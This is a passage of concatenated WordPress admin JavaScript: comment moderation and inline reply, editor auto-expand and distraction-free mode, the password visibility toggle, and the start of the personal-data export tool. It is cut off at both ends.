id="undo-'+n+'" style="display:none;" class="undo un'+i+'">'+o+"</div>")),r.before(a),w("strong","#undo-"+n).text(s),(o=w(".undo a","#undo-"+n)).attr("href","comment.php?action=un"+i+"comment&c="+n+"&_wpnonce="+t.data._ajax_nonce),o.attr("data-wp-lists","delete:the-comment-list:comment-"+n+"::un"+i+"=1"),o.attr("class","vim-z vim-destructive aria-button-if-js"),w(".avatar",r).first().clone().prependTo("#undo-"+n+" ."+i+"-undo-inside"),o.on("click",function(t){t.preventDefault(),t.stopPropagation(),e.wpList.del(this),w("#undo-"+n).css({backgroundColor:"#ceb"}).fadeOut(350,function(){w(this).remove(),w("#comment-"+n).css("backgroundColor","").fadeIn(300,function(){w(this).show()})})})),t},n=function(t,e){var n,a,o,s,i=!0===e.parsed?{}:e.parsed.responses[0],r=!0===e.parsed?"":i.supplemental.status,l=!0===e.parsed?"":i.supplemental.postId,p=!0===e.parsed?"":i.supplemental,c=w(e.target).parent(),d=w("#"+e.element),m=d.hasClass("approved")&&!d.hasClass("unapproved"),u=d.hasClass("unapproved"),h=d.hasClass("spam"),d=d.hasClass("trash"),f=!1;E(p),R(p),c.is("span.undo")?(c.hasClass("unspam")?(n=-1,"trash"===r?a=1:"1"===r?s=1:"0"===r&&(o=1)):c.hasClass("untrash")&&(a=-1,"spam"===r?n=1:"1"===r?s=1:"0"===r&&(o=1)),f=!0):c.is("span.spam")?(m?s=-1:u?o=-1:d&&(a=-1),n=1):c.is("span.unspam")?(m?o=1:u?s=1:(d||h)&&(c.hasClass("approve")?s=1:c.hasClass("unapprove")&&(o=1)),n=-1):c.is("span.trash")?(m?s=-1:u?o=-1:h&&(n=-1),a=1):c.is("span.untrash")?(m?o=1:u?s=1:d&&(c.hasClass("approve")?s=1:c.hasClass("unapprove")&&(o=1)),a=-1):c.is("span.approve:not(.unspam):not(.untrash)")?o=-(s=1):c.is("span.unapprove:not(.unspam):not(.untrash)")?(s=-1,o=1):c.is("span.delete")&&(h?n=-1:d&&(a=-1)),o&&(I(o,l),k("span.all-count",o)),s&&(b(s,l),k("span.all-count",s)),n&&k("span.spam-count",n),a&&k("span.trash-count",a),("trash"===e.data.comment_status&&!x(w("span.trash-count"))||"spam"===e.data.comment_status&&!x(w("span.spam-count")))&&w("#delete_all").hide(),C||(p=g.val()?parseInt(g.val(),10):0,w(e.target).parent().is("span.undo")?p++:p--,p<0&&(p=0),"object"==typeof t?i.supplemental.total_items_i18n&&v<i.supplemental.time?((r=i.supplemental.total_items_i18n||"")&&(w(".displaying-num").text(r.replace("&nbsp;",String.fromCharCode(160))),w(".total-pages").text(i.supplemental.total_pages_i18n.replace("&nbsp;",String.fromCharCode(160))),w(".tablenav-pages").find(".next-page, .last-page").toggleClass("disabled",i.supplemental.total_pages==w(".current-page").val())),_(p,i.supplemental.time,!0)):i.supplemental.time&&_(p,i.supplemental.time,!1):_(p,t,!1)),theExtraList&&0!==theExtraList.length&&0!==theExtraList.children().length&&!f&&(theList.get(0).wpList.add(theExtraList.children(":eq(0):not(.no-items)").remove().clone()),y(),m=function(){w("#the-comment-list tr:visible").length||theList.get(0).wpList.add(theExtraList.find(".no-items").clone())},(u=w(":animated","#the-comment-list")).length?u.promise().done(m):m())},y=function(t){var e=w.query.get(),n=w(".total-pages").text(),a=w('input[name="_per_page"]',"#comments-form").val();e.paged||(e.paged=1),e.paged>n||(t?(theExtraList.empty(),e.number=Math.min(8,a)):(e.number=1,e.offset=Math.min(8,a)-1),e.no_placeholder=!0,e.paged++,!0===e.comment_type&&(e.comment_type=""),e=w.extend(e,{action:"fetch-list",list_args:list_args,_ajax_fetch_list_nonce:w("#_ajax_fetch_list_nonce").val()}),w.ajax({url:ajaxurl,global:!1,dataType:"json",data:e,success:function(t){theExtraList.get(0).wpList.add(t.rows)}}))};window.theExtraList=w("#the-extra-comment-list").wpList({alt:"",delColor:"none",addColor:"none"}),window.theList=w("#the-comment-list").wpList({alt:"",delBefore:e,dimAfter:t,delAfter:n,addColor:"none"}).on("wpListDelEnd",function(t,e){var n=w(e.target).attr("data-wp-lists"),e=e.element.replace(/[^0-9]+/g,"");-1==n.indexOf(":trash=1")&&-1==n.indexOf(":spam=1")||w("#undo-"+e).fadeIn(300,function(){w(this).show()})})},window.commentReply={cid:"",act:"",originalContent:"",init:function(){var t=w("#replyrow");w(".cancel",t).on("click",function(){return commentReply.revert()}),w(".save",t).on("click",function(){return commentReply.send()}),w("input#author-name, input#author-email, input#author-url",t).on("keypress",function(t){if(13==t.which)return commentReply.send(),t.preventDefault(),!1}),w("#the-comment-list .column-comment > p").on("dblclick",function(){commentReply.toggle(w(this).parent())}),w("#doaction, #post-query-submit").on("click",function(){0<w("#the-comment-list #replyrow").length&&commentReply.close()}),this.comments_listing=w('#comments-form > input[name="comment_status"]').val()||""},addEvents:function(t){t.each(function(){w(this).find(".column-comment > p").on("dblclick",function(){commentReply.toggle(w(this).parent())})})},toggle:function(t){"none"!==w(t).css("display")&&(w("#replyrow").parent().is("#com-reply")||window.confirm(c("Are you sure you want to edit this comment?\nThe changes you made will be lost.")))&&w(t).find("button.vim-q").trigger("click")},revert:function(){if(w("#the-comment-list #replyrow").length<1)return!1;w("#replyrow").fadeOut("fast",function(){commentReply.close()})},close:function(){var t=w(),e=w("#replyrow");e.parent().is("#com-reply")||(this.cid&&(t=w("#comment-"+this.cid)),"edit-comment"===this.act&&t.fadeIn(300,function(){t.show().find(".vim-q").attr("aria-expanded","false").trigger("focus")}).css("backgroundColor",""),"replyto-comment"===this.act&&t.find(".vim-r").attr("aria-expanded","false").trigger("focus"),"undefined"!=typeof QTags&&QTags.closeAllTags("replycontent"),w("#add-new-comment").css("display",""),e.hide(),w("#com-reply").append(e),w("#replycontent").css("height","").val(""),w("#edithead input").val(""),w(".notice-error",e).addClass("hidden").find(".error").empty(),w(".spinner",e).removeClass("is-active"),this.cid="",this.originalContent="")},open:function(t,e,n){var a,o,s,i,r=w("#comment-"+t),l=r.height();return this.discardCommentChanges()&&(this.close(),this.cid=t,a=w("#replyrow"),o=w("#inline-"+t),s=this.act=("edit"==(n=n||"replyto")?"edit":"replyto")+"-comment",this.originalContent=w("textarea.comment",o).val(),i=w("> th:visible, > td:visible",r).length,a.hasClass("inline-edit-row")&&0!==i&&w("td",a).attr("colspan",i),w("#action",a).val(s),w("#comment_post_ID",a).val(e),w("#comment_ID",a).val(t),"edit"==n?(w("#author-name",a).val(w("div.author",o).text()),w("#author-email",a).val(w("div.author-email",o).text()),w("#author-url",a).val(w("div.author-url",o).text()),w("#status",a).val(w("div.comment_status",o).text()),w("#replycontent",a).val(w("textarea.comment",o).val()),w("#edithead, #editlegend, #savebtn",a).show(),w("#replyhead, #replybtn, #addhead, #addbtn",a).hide(),120<l&&(i=500<l?500:l,w("#replycontent",a).css("height",i+"px")),r.after(a).fadeOut("fast",function(){w("#replyrow").fadeIn(300,function(){w(this).show()})})):"add"==n?(w("#addhead, #addbtn",a).show(),w("#replyhead, #replybtn, #edithead, #editlegend, #savebtn",a).hide(),w("#the-comment-list").prepend(a),w("#replyrow").fadeIn(300)):(s=w("#replybtn",a),w("#edithead, #editlegend, #savebtn, #addhead, #addbtn",a).hide(),w("#replyhead, #replybtn",a).show(),r.after(a),r.hasClass("unapproved")?s.text(c("Approve and Reply")):s.text(c("Reply")),w("#replyrow").fadeIn(300,function(){w(this).show()})),setTimeout(function(){var e=!1,t=w("#replyrow").offset().top,n=t+w("#replyrow").height(),a=window.pageYOffset||document.documentElement.scrollTop,o=document.documentElement.clientHeight||window.innerHeight||0;a+o-20<n?window.scroll(0,n-o+35):t-20<a&&window.scroll(0,t-35),w("#replycontent").trigger("focus").on("keyup",function(t){27!==t.which||e||commentReply.revert()}).on("compositionstart",function(){e=!0})},600)),!1},send:function(){var e={};w("#replysubmit .error-notice").addClass("hidden"),w("#replysubmit .spinner").addClass("is-active"),w("#replyrow input").not(":button").each(function(){var t=w(this);e[t.attr("name")]=t.val()}),e.content=w("#replycontent").val(),e.id=e.comment_post_ID,e.comments_listing=this.comments_listing,e.p=w('[name="p"]').val(),w("#comment-"+w("#comment_ID").val()).hasClass("unapproved")&&(e.approve_parent=1),w.ajax({type:"POST",url:ajaxurl,data:e,success:function(t){commentReply.show(t)},error:function(t){commentReply.error(t)}})},show:function(t){var e,n,a,o=this;return"string"==typeof t?(o.error({responseText:t}),!1):(t=wpAjax.parseAjaxResponse(t)).errors?(o.error({responseText:wpAjax.broken}),!1):(o.revert(),e="#comment-"+(t=t.responses[0]).id,"edit-comment"==o.act&&w(e).remove(),void(t.supplemental.parent_approved&&(a=w("#comment-"+t.supplemental.parent_approved),I(-1,t.supplemental.parent_post_id),"moderated"==this.comments_listing)?a.animate({backgroundColor:"#CCEEBB"},400,function(){a.fadeOut()}):(t.supplemental.i18n_comments_text&&(E(t.supplemental),R(t.supplemental),b(1,t.supplemental.parent_post_id),k("span.all-count",1)),t.data=t.data||"",t=t.data.toString().trim(),w(t).hide(),w("#replyrow").after(t),e=w(e),o.addEvents(e),n=e.hasClass("unapproved")?"#FFFFE0":e.closest(".widefat, .postbox").css("backgroundColor"),e.animate({backgroundColor:"#CCEEBB"},300).animate({backgroundColor:n},300,function(){a&&a.length&&a.animate({backgroundColor:"#CCEEBB"},300).animate({backgroundColor:n},300).removeClass("unapproved").addClass("approved").find("div.comment_status").html("1")}))))},error:function(t){var e=t.statusText,n=w("#replysubmit .notice-error"),a=n.find(".error");w("#replysubmit .spinner").removeClass("is-active"),(e=t.responseText?t.responseText.replace(/<.[^<>]*?>/g,""):e)&&(n.removeClass("hidden"),a.html(e))},addcomment:function(t){var e=this;w("#add-new-comment").fadeOut(200,function(){e.open(0,t,"add"),w("table.comments-box").css("display",""),w("#no-comments").remove()})},discardCommentChanges:function(){var t=w("#replyrow");return""===w("#replycontent",t).val()||this.originalContent===w("#replycontent",t).val()||window.confirm(c("Are you sure you want to do this?\nThe comment changes you made will be lost."))}},w(function(){var t,e,n,a;setCommentsList(),commentReply.init(),w(document).on("click","span.delete a.delete",function(t){t.preventDefault()}),void 0!==w.table_hotkeys&&(t=function(n){return function(){var t="next"==n?"first":"last",e=w(".tablenav-pages ."+n+"-page:not(.disabled)");e.length&&(window.location=e[0].href.replace(/\&hotkeys_highlight_(first|last)=1/g,"")+"&hotkeys_highlight_"+t+"=1")}},e=function(t,e){window.location=w("span.edit a",e).attr("href")},n=function(){w("#cb-select-all-1").data("wp-toggle",1).trigger("click").removeData("wp-toggle")},a=function(e){return function(){var t=w('select[name="action"]');w('option[value="'+e+'"]',t).prop("selected",!0),w("#doaction").trigger("click")}},w.table_hotkeys(w("table.widefat"),["a","u","s","d","r","q","z",["e",e],["shift+x",n],["shift+a",a("approve")],["shift+s",a("spam")],["shift+d",a("delete")],["shift+t",a("trash")],["shift+z",a("untrash")],["shift+u",a("unapprove")]],{highlight_first:adminCommentsSettings.hotkeys_highlight_first,highlight_last:adminCommentsSettings.hotkeys_highlight_last,prev_page_link_cb:t("prev"),next_page_link_cb:t("next"),hotkeys_opts:{disableInInput:!0,type:"keypress",noDisable:'.check-column input[type="checkbox"]'},cycle_expr:"#the-comment-list tr",start_row_index:0})),w("#the-comment-list").on("click",".comment-inline",function(){var t=w(this),e="replyto";void 0!==t.data("action")&&(e=t.data("action")),w(this).attr("aria-expanded","true"),commentReply.open(t.data("commentId"),t.data("postId"),e)})})}(jQuery);/*! This file is auto-generated */
!function(F,I){"use strict";var L=I(F),M=I(document),V=I("#wpadminbar"),N=I("#wpfooter");I(function(){var g,e,u=I("#postdivrich"),h=I("#wp-content-wrap"),m=I("#wp-content-editor-tools"),w=I(),H=I(),b=I("#ed_toolbar"),v=I("#content"),i=v[0],o=0,x=I("#post-status-info"),y=I(),T=I(),B=I("#side-sortables"),C=I("#postbox-container-1"),S=I("#post-body"),O=F.wp.editor&&F.wp.editor.fullscreen,r=function(){},l=function(){},z=!1,E=!1,k=!1,A=!1,W=0,K=56,R=20,Y=300,f=h.hasClass("tmce-active")?"tinymce":"html",U=!!parseInt(F.getUserSetting("hidetb"),10),D={windowHeight:0,windowWidth:0,adminBarHeight:0,toolsHeight:0,menuBarHeight:0,visualTopHeight:0,textTopHeight:0,bottomHeight:0,statusBarHeight:0,sideSortablesHeight:0},a=F._.throttle(function(){var t=F.scrollX||document.documentElement.scrollLeft,e=F.scrollY||document.documentElement.scrollTop,o=parseInt(i.style.height,10);i.style.height=Y+"px",i.scrollHeight>Y&&(i.style.height=i.scrollHeight+"px"),void 0!==t&&F.scrollTo(t,e),i.scrollHeight<o&&p()},300);function P(){var t=i.value.length;g&&!g.isHidden()||!g&&"tinymce"===f||(t<o?a():parseInt(i.style.height,10)<i.scrollHeight&&(i.style.height=Math.ceil(i.scrollHeight)+"px",p()),o=t)}function p(t){var e,o,i,n,s,f,a,d,c,u,r,l,p;O&&O.settings.visible||(e=L.scrollTop(),o="scroll"!==(u=t&&t.type),i=g&&!g.isHidden(),n=Y,s=S.offset().top,f=h.width(),!o&&D.windowHeight||(p=L.width(),(D={windowHeight:L.height(),windowWidth:p,adminBarHeight:600<p?V.outerHeight():0,toolsHeight:m.outerHeight()||0,menuBarHeight:y.outerHeight()||0,visualTopHeight:w.outerHeight()||0,textTopHeight:b.outerHeight()||0,bottomHeight:x.outerHeight()||0,statusBarHeight:T.outerHeight()||0,sideSortablesHeight:B.height()||0}).menuBarHeight<3&&(D.menuBarHeight=0)),i||"resize"!==u||P(),p=i?(a=w,l=H,D.visualTopHeight):(a=b,l=v,D.textTopHeight),(i||a.length)&&(u=a.parent().offset().top,r=l.offset().top,l=l.outerHeight(),(i?Y+p:Y+20)+5<l?((!z||o)&&e>=u-D.toolsHeight-D.adminBarHeight&&e<=u-D.toolsHeight-D.adminBarHeight+l-n?(z=!0,m.css({position:"fixed",top:D.adminBarHeight,width:f}),i&&y.length&&y.css({position:"fixed",top:D.adminBarHeight+D.toolsHeight,width:f-2-(i?0:a.outerWidth()-a.width())}),a.css({position:"fixed",top:D.adminBarHeight+D.toolsHeight+D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())})):(z||o)&&(e<=u-D.toolsHeight-D.adminBarHeight?(z=!1,m.css({position:"absolute",top:0,width:f}),i&&y.length&&y.css({position:"absolute",top:0,width:f-2}),a.css({position:"absolute",top:D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())})):e>=u-D.toolsHeight-D.adminBarHeight+l-n&&(z=!1,m.css({position:"absolute",top:l-n,width:f}),i&&y.length&&y.css({position:"absolute",top:l-n,width:f-2}),a.css({position:"absolute",top:l-n+D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())}))),(!E||o&&U)&&e+D.windowHeight<=r+l+D.bottomHeight+D.statusBarHeight+1?t&&0<t.deltaHeight&&t.deltaHeight<100?F.scrollBy(0,t.deltaHeight):i&&U&&(E=!0,T.css({position:"fixed",bottom:D.bottomHeight,visibility:"",width:f-2}),x.css({position:"fixed",bottom:0,width:f})):(!U&&E||(E||o)&&e+D.windowHeight>r+l+D.bottomHeight+D.statusBarHeight-1)&&(E=!1,T.attr("style",U?"":"visibility: hidden;"),x.attr("style",""))):o&&(m.css({position:"absolute",top:0,width:f}),i&&y.length&&y.css({position:"absolute",top:0,width:f-2}),a.css({position:"absolute",top:D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())}),T.attr("style",U?"":"visibility: hidden;"),x.attr("style","")),C.width()<300&&600<D.windowWidth&&M.height()>B.height()+s+120&&D.windowHeight<l?(D.sideSortablesHeight+K+R>D.windowHeight||k||A?e+K<=s?(B.attr("style",""),k=A=!1):W<e?k?(k=!1,d=B.offset().top-D.adminBarHeight,(c=N.offset().top)<d+D.sideSortablesHeight+R&&(d=c-D.sideSortablesHeight-12),B.css({position:"absolute",top:d,bottom:""})):!A&&D.sideSortablesHeight+B.offset().top+R<e+D.windowHeight&&(A=!0,B.css({position:"fixed",top:"auto",bottom:R})):e<W&&(A?(A=!1,d=B.offset().top-R,(c=N.offset().top)<d+D.sideSortablesHeight+R&&(d=c-D.sideSortablesHeight-12),B.css({position:"absolute",top:d,bottom:""})):!k&&B.offset().top>=e+K&&(k=!0,B.css({position:"fixed",top:K,bottom:""}))):(s-K<=e?B.css({position:"fixed",top:K}):B.attr("style",""),k=A=!1),W=e):(B.attr("style",""),k=A=!1),o)&&(h.css({paddingTop:D.toolsHeight}),i?H.css({paddingTop:D.visualTopHeight+D.menuBarHeight}):v.css({marginTop:D.textTopHeight})))}function n(){P(),p()}function X(t){for(var e=1;e<6;e++)setTimeout(t,500*e)}function t(){F.pageYOffset&&130<F.pageYOffset&&F.scrollTo(F.pageXOffset,0),u.addClass("wp-editor-expand"),L.on("scroll.editor-expand resize.editor-expand",function(t){p(t.type),clearTimeout(e),e=setTimeout(p,100)}),M.on("wp-collapse-menu.editor-expand postboxes-columnchange.editor-expand editor-classchange.editor-expand",p).on("postbox-toggled.editor-expand postbox-moved.editor-expand",function(){!k&&!A&&F.pageYOffset>K&&(A=!0,F.scrollBy(0,-1),p(),F.scrollBy(0,1)),p()}).on("wp-window-resized.editor-expand",function(){g&&!g.isHidden()?g.execCommand("wpAutoResize"):P()}),v.on("focus.editor-expand input.editor-expand propertychange.editor-expand",P),r(),O&&O.pubsub.subscribe("hidden",n),g&&(g.settings.wp_autoresize_on=!0,g.execCommand("wpAutoResizeOn"),g.isHidden()||g.execCommand("wpAutoResize")),g&&!g.isHidden()||P(),p(),M.trigger("editor-expand-on")}function s(){var t=parseInt(F.getUserSetting("ed_size",300),10);t<50?t=50:5e3<t&&(t=5e3),F.pageYOffset&&130<F.pageYOffset&&F.scrollTo(F.pageXOffset,0),u.removeClass("wp-editor-expand"),L.off(".editor-expand"),M.off(".editor-expand"),v.off(".editor-expand"),l(),O&&O.pubsub.unsubscribe("hidden",n),I.each([w,b,m,y,x,T,h,H,v,B],function(t,e){e&&e.attr("style","")}),z=E=k=A=!1,g&&(g.settings.wp_autoresize_on=!1,g.execCommand("wpAutoResizeOff"),g.isHidden()||(v.hide(),t&&g.theme.resizeTo(null,t))),t&&v.height(t),M.trigger("editor-expand-off")}M.on("tinymce-editor-init.editor-expand",function(t,f){var a=F.tinymce.util.VK,e=_.debounce(function(){I(".mce-floatpanel:hover").length||F.tinymce.ui.FloatPanel.hideAll(),I(".mce-tooltip").hide()},1e3,!0);function o(t){t=t.keyCode;t<=47&&t!==a.SPACEBAR&&t!==a.ENTER&&t!==a.DELETE&&t!==a.BACKSPACE&&t!==a.UP&&t!==a.LEFT&&t!==a.DOWN&&t!==a.UP||91<=t&&t<=93||112<=t&&t<=123||144===t||145===t||i(t)}function i(t){var e,o,i,n,s=function(){var t,e,o=f.selection.getNode();if(f.wp&&f.wp.getView&&(t=f.wp.getView(o)))e=t.getBoundingClientRect();else{t=f.selection.getRng();try{e=t.getClientRects()[0]}catch(t){}e=e||o.getBoundingClientRect()}return!!e.height&&e}();s&&(o=(e=s.top+f.iframeElement.getBoundingClientRect().top)+s.height,e-=50,o+=50,i=D.adminBarHeight+D.toolsHeight+D.menuBarHeight+D.visualTopHeight,(n=D.windowHeight-(U?D.bottomHeight+D.statusBarHeight:0))-i<s.height||(e<i&&(t===a.UP||t===a.LEFT||t===a.BACKSPACE)?F.scrollTo(F.pageXOffset,e+F.pageYOffset-i):n<o&&F.scrollTo(F.pageXOffset,o+F.pageYOffset-n)))}function n(t){t.state||p()}function s(){L.on("scroll.mce-float-panels",e),setTimeout(function(){f.execCommand("wpAutoResize"),p()},300)}function d(){L.off("scroll.mce-float-panels"),setTimeout(function(){var t=h.offset().top;F.pageYOffset>t&&F.scrollTo(F.pageXOffset,t-D.adminBarHeight),P(),p()},100),p()}function c(){U=!U}"content"===f.id&&((g=f).settings.autoresize_min_height=Y,w=h.find(".mce-toolbar-grp"),H=h.find(".mce-edit-area"),T=h.find(".mce-statusbar"),y=h.find(".mce-menubar"),r=function(){f.on("keyup",o),f.on("show",s),f.on("hide",d),f.on("wp-toolbar-toggle",c),f.on("setcontent wp-autoresize wp-toolbar-toggle",p),f.on("undo redo",i),f.on("FullscreenStateChanged",n),L.off("scroll.mce-float-panels").on("scroll.mce-float-panels",e)},l=function(){f.off("keyup",o),f.off("show",s),f.off("hide",d),f.off("wp-toolbar-toggle",c),f.off("setcontent wp-autoresize wp-toolbar-toggle",p),f.off("undo redo",i),f.off("FullscreenStateChanged",n),L.off("scroll.mce-float-panels")},u.hasClass("wp-editor-expand"))&&(r(),X(p))}),u.hasClass("wp-editor-expand")&&(t(),h.hasClass("html-active"))&&X(function(){p(),P()}),I("#adv-settings .editor-expand").show(),I("#editor-expand-toggle").on("change.editor-expand",function(){I(this).prop("checked")?(t(),F.setUserSetting("editor_expand","on")):(s(),F.setUserSetting("editor_expand","off"))}),F.editorExpand={on:t,off:s}}),I(function(){var i,n,t,s,f,a,d,c,u,r,l,p=I(document.body),o=I("#wpcontent"),g=I("#post-body-content"),e=I("#title"),h=I("#content"),m=I(document.createElement("DIV")),w=I("#edit-slug-box"),H=w.find("a").add(w.find("button")).add(w.find("input")),Y=I("#adminmenuwrap"),b=(I(),I(),"on"===F.getUserSetting("editor_expand","on")),v=!!b&&"on"===F.getUserSetting("post_dfw"),x=0,y=0,T=20;function B(){(s=g.offset()).right=s.left+g.outerWidth(),s.bottom=s.top+g.outerHeight()}function C(){b||(b=!0,M.trigger("dfw-activate"),h.on("keydown.focus-shortcut",R))}function S(){b&&(z(),b=!1,M.trigger("dfw-deactivate"),h.off("keydown.focus-shortcut"))}function O(){!v&&b&&(v=!0,h.on("keydown.focus",_),e.add(h).on("blur.focus",A),_(),F.setUserSetting("post_dfw","on"),M.trigger("dfw-on"))}function z(){v&&(v=!1,e.add(h).off(".focus"),k(),g.off(".focus"),F.setUserSetting("post_dfw","off"),M.trigger("dfw-off"))}function E(){(v?z:O)()}function _(t){var e,o=t&&t.keyCode;F.navigator.platform&&(e=-1<F.navigator.platform.indexOf("Mac")),27===o||87===o&&t.altKey&&(!e&&t.shiftKey||e&&t.ctrlKey)?k(t):t&&(t.metaKey||t.ctrlKey&&!t.altKey||t.altKey&&t.shiftKey||o&&(o<=47&&8!==o&&13!==o&&32!==o&&46!==o||91<=o&&o<=93||112<=o&&o<=135||144<=o&&o<=150||224<=o))||(i||(i=!0,clearTimeout(r),r=setTimeout(function(){m.show()},600),g.css("z-index",9998),m.on("mouseenter.focus",function(){B(),L.on("scroll.focus",function(){var t=F.pageYOffset;c&&d&&c!==t&&(d<s.top-T||d>s.bottom+T)&&k(),c=t})}).on("mouseleave.focus",function(){f=a=null,x=y=0,L.off("scroll.focus")}).on("mousemove.focus",function(t){var e=t.clientX,t=t.clientY,o=F.pageYOffset,i=F.pageXOffset;if(f&&a&&(e!==f||t!==a))if(t<=a&&t<s.top-o||a<=t&&t>s.bottom-o||e<=f&&e<s.left-i||f<=e&&e>s.right-i){if(x+=Math.abs(f-e),y+=Math.abs(a-t),(t<=s.top-T-o||t>=s.bottom+T-o||e<=s.left-T-i||e>=s.right+T-i)&&(10<x||10<y))return k(),f=a=null,void(x=y=0)}else x=y=0;f=e,a=t}).on("touchstart.focus",function(t){t.preventDefault(),k()}),g.off("mouseenter.focus"),u&&(clearTimeout(u),u=null),p.addClass("focus-on").removeClass("focus-off")),!n&&i&&(n=!0,V.on("mouseenter.focus",function(){V.addClass("focus-off")}).on("mouseleave.focus",function(){V.removeClass("focus-off")})),W())}function k(t){i&&(i=!1,clearTimeout(r),r=setTimeout(function(){m.hide()},200),g.css("z-index",""),m.off("mouseenter.focus mouseleave.focus mousemove.focus touchstart.focus"),void 0===t&&g.on("mouseenter.focus",function(){(I.contains(g.get(0),document.activeElement)||l)&&_()}),u=setTimeout(function(){u=null,g.off("mouseenter.focus")},1e3),p.addClass("focus-off").removeClass("focus-on")),n&&(n=!1,V.off(".focus")),K()}function A(){setTimeout(function(){var t=document.activeElement.compareDocumentPosition(g.get(0));function e(t){return I.contains(t.get(0),document.activeElement)}2!==t&&4!==t||!(e(Y)||e(o)||e(N))||k()},0)}function W(){t||!i||w.find(":focus").length||(t=!0,w.stop().fadeTo("fast",.3).on("mouseenter.focus",K).off("mouseleave.focus"),H.on("focus.focus",K).off("blur.focus"))}function K(){t&&(t=!1,w.stop().fadeTo("fast",1).on("mouseleave.focus",W).off("mouseenter.focus"),H.on("blur.focus",W).off("focus.focus"))}function R(t){t.altKey&&t.shiftKey&&87===t.keyCode&&E()}p.append(m),m.css({display:"none",position:"fixed",top:V.height(),right:0,bottom:0,left:0,"z-index":9997}),g.css({position:"relative"}),L.on("mousemove.focus",function(t){d=t.pageY}),I("#postdivrich").hasClass("wp-editor-expand")&&h.on("keydown.focus-shortcut",R),M.on("tinymce-editor-setup.focus",function(t,e){e.addButton("dfw",{active:v,classes:"wp-dfw btn widget",disabled:!b,onclick:E,onPostRender:function(){var t=this;e.on("init",function(){t.disabled()&&t.hide()}),M.on("dfw-activate.focus",function(){t.disabled(!1),t.show()}).on("dfw-deactivate.focus",function(){t.disabled(!0),t.hide()}).on("dfw-on.focus",function(){t.active(!0)}).on("dfw-off.focus",function(){t.active(!1)})},tooltip:"Distraction-free writing mode",shortcut:"Alt+Shift+W"}),e.addCommand("wpToggleDFW",E),e.addShortcut("access+w","","wpToggleDFW")}),M.on("tinymce-editor-init.focus",function(t,e){var o,i;function n(){l=!0}function s(){l=!1}"content"===e.id&&(I(e.getWin()),I(e.getContentAreaContainer()).find("iframe"),o=function(){e.on("keydown",_),e.on("blur",A),e.on("focus",n),e.on("blur",s),e.on("wp-autoresize",B)},i=function(){e.off("keydown",_),e.off("blur",A),e.off("focus",n),e.off("blur",s),e.off("wp-autoresize",B)},v&&o(),M.on("dfw-on.focus",o).on("dfw-off.focus",i),e.on("click",function(t){t.target===e.getDoc().documentElement&&e.focus()}))}),M.on("quicktags-init",function(t,e){var o;e.settings.buttons&&-1!==(","+e.settings.buttons+",").indexOf(",dfw,")&&(o=I("#"+e.name+"_dfw"),I(document).on("dfw-activate",function(){o.prop("disabled",!1)}).on("dfw-deactivate",function(){o.prop("disabled",!0)}).on("dfw-on",function(){o.addClass("active")}).on("dfw-off",function(){o.removeClass("active")}))}),M.on("editor-expand-on.focus",C).on("editor-expand-off.focus",S),v&&(h.on("keydown.focus",_),e.add(h).on("blur.focus",A)),F.wp=F.wp||{},F.wp.editor=F.wp.editor||{},F.wp.editor.dfw={activate:C,deactivate:S,isActive:function(){return b},on:O,off:z,toggle:E,isOn:function(){return v}}})}(window,window.jQuery);/**
 * Adds functionality for password visibility buttons to toggle between text and password input types.
 *
 * @since 6.3.0
 * @output wp-admin/js/password-toggle.js
 */

( function () {
	var toggleElements, status, input, icon, label, __ = wp.i18n.__;

	toggleElements = document.querySelectorAll( '.pwd-toggle' );

	toggleElements.forEach( function (toggle) {
		toggle.classList.remove( 'hide-if-no-js' );
		toggle.addEventListener( 'click', togglePassword );
	} );

	function togglePassword() {
		status = this.getAttribute( 'data-toggle' );
		input = this.parentElement.children.namedItem( 'pwd' );
		icon = this.getElementsByClassName( 'dashicons' )[ 0 ];
		label = this.getElementsByClassName( 'text' )[ 0 ];

		if ( 0 === parseInt( status, 10 ) ) {
			this.setAttribute( 'data-toggle', 1 );
			this.setAttribute( 'aria-label', __( 'Hide password' ) );
			input.setAttribute( 'type', 'text' );
			label.innerHTML = __( 'Hide' );
			icon.classList.remove( 'dashicons-visibility' );
			icon.classList.add( 'dashicons-hidden' );
		} else {
			this.setAttribute( 'data-toggle', 0 );
			this.setAttribute( 'aria-label', __( 'Show password' ) );
			input.setAttribute( 'type', 'password' );
			label.innerHTML = __( 'Show' );
			icon.classList.remove( 'dashicons-hidden' );
			icon.classList.add( 'dashicons-visibility' );
		}
	}
} )();
/*! This file is auto-generated */
jQuery(function(v){var r,h=wp.i18n.__;function w(e,t){e.children().addClass("hidden"),e.children("."+t).removeClass("hidden")}function x(e){e.removeClass("has-request-results"),e.next().hasClass("request-results")&&e.next().remove()}function T(e,t,a,o){var s="",n="request-results";x(e),o.length&&(v.each(o,function(e,t){s=s+"<li>"+t+"</li>"}),s="<ul>"+s+"</ul>"),e.addClass("has-request-results"),e.hasClass("status-request-confirmed")&&(n+=" status-request-confirmed"),e.hasClass("status-request-failed")&&(n+=" status-request-failed"),e.after(function(){return'<tr class="'+n+'"><th colspan="5"><div class="notice inline notice-alt '+t+'"><p>'+a+"</p>"+s+"</div></td></tr>"})}v(".export-personal-data-handle").on("click",function(e){var t=v(this),n=t.parents(".export-personal-data"),r=t.parents("tr"),a=r.find(".export-progress"),i=t.parents(".row-actions"),c=n.data("request-id"),d=n.data("nonce"),l=n.data("exporters-count"),u=!!n.data("send-as-email");function p(e){var t=h("An error occurred while attempting to export personal data.");w(n,"export-personal-data-failed"),e&&T(r,"notice-error",t,[e]),setTimeout(function(){i.removeClass("processing")},500)}function m(e){e=Math.round(100*(0<l?e/l:0)).toString()+"%";a.html(e)}e.preventDefault(),e.stopPropagation(),i.addClass("processing"),n.trigger("blur"),x(r),m(0),w(n,"export-personal-data-processing"),function t(o,s){v.ajax({url:window.ajaxurl,data:{action:"wp-privacy-export-personal-data",exporter:o,id:c,page:s,security:d,sendAsEmail:u},method:"post"}).done(function(e){var a=e.data;e.success?a.done?(m(o),o<l?setTimeout(t(o+1,1)):setTimeout(function(){var e,t;e=a.url,t=h("This user&#8217;s personal data export link was sent."),void 0!==e&&(t=h("This user&#8217;s personal data export file was downloaded.")),w(n,"export-personal-data-success"),T(r,"notice-success",t,[]),void 0!==e?window.location=e:u||p(h("No personal data export file was 